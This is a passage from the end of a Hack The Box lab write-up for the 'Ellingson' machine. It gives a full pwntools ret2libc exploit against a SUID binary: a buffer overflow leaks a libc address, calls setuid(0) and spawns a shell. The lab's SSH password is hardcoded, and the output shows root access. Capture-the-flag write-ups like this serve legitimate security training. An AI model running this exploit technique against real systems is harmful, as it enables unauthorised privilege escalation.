We will call this function before calling shell() so our final exploit will be: exploit.py:

#!/usr/bin/python
from pwn import *

def leak(p,elf,libc,rop):
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	LIBC_START_MAIN = elf.symbols['__libc_start_main']
	PUTS = elf.plt['puts']
	MAIN = elf.symbols['main']
	
	log.info("puts@plt: " + hex(PUTS))
	log.info("__libc_start_main: " + hex(LIBC_START_MAIN))
	log.info("pop rdi gadget: " + hex(POP_RDI))
	
	payload = "A" * 136
	payload += p64(POP_RDI)
	payload += p64(LIBC_START_MAIN)
	payload += p64(PUTS)
	payload += p64(MAIN)

	p.recvuntil('password:')
	p.sendline(payload)
	p.recvline()
	p.recvline()
	leak = p.recvline().strip()
	leak = u64(leak.ljust(8, "\x00"))

	log.success("Leaked __libc_start_main: " + hex(leak))
	return leak

def suid(p,elf,libc,rop):
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	SUID = libc.sym['setuid']
	MAIN = elf.symbols['main']

	payload = "A" * 136
	payload += p64(POP_RDI)
	payload += p64(0)
	payload += p64(SUID)
	payload += p64(MAIN)
	p.recvuntil('password:')
	p.sendline(payload)

def shell(p,elf,libc,rop):
	RET = rop.find_gadget(['ret'])[0]
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	BIN_SH = next(libc.search("/bin/sh"))
	SYSTEM = libc.sym["system"]

	log.success("/bin/sh: " + hex(BIN_SH))
	log.success("system: " + hex(SYSTEM))

	payload = "A" * 136
	payload += p64(RET)
	payload += p64(POP_RDI)
	payload += p64(BIN_SH)
	payload += p64(SYSTEM)

	p.recvuntil('password:')
	p.sendline(payload)
	p.interactive()

r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')

elf = ELF("./garbage")
libc = ELF("./libc.so.6")
rop = ROP(elf)

leak = leak(p,elf,libc,rop)
libc.address = leak - libc.sym["__libc_start_main"]

log.info("Calculated libc address: " + hex(libc.address))
log.info("Setting uid to 0")

suid(p,elf,libc,rop)
shell(p,elf,libc,rop)
root@kali:~/Desktop/HTB/boxes/ellingson/exploit# ./exploit.py 
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 8111
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/root/Desktop/HTB/boxes/ellingson/exploit/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './garbage'
[*] puts@plt: 0x401050
[*] __libc_start_main: 0x403ff0
[*] pop rdi gadget: 0x40179b
[+] Leaked __libc_start_main: 0x7f0e56addab0
[*] Calculated libc address: 0x7f0e56abc000
[*] Setting uid to 0
[+] /bin/sh: 0x7f0e56c6fe9a
[+] system: 0x7f0e56b0b440
[*] Switching to interactive mode
 
access denied.
# $ whoami
root
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)
# $  




And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Writeup
Next Hack The Box write-up: Hack The Box - Safe

Updated: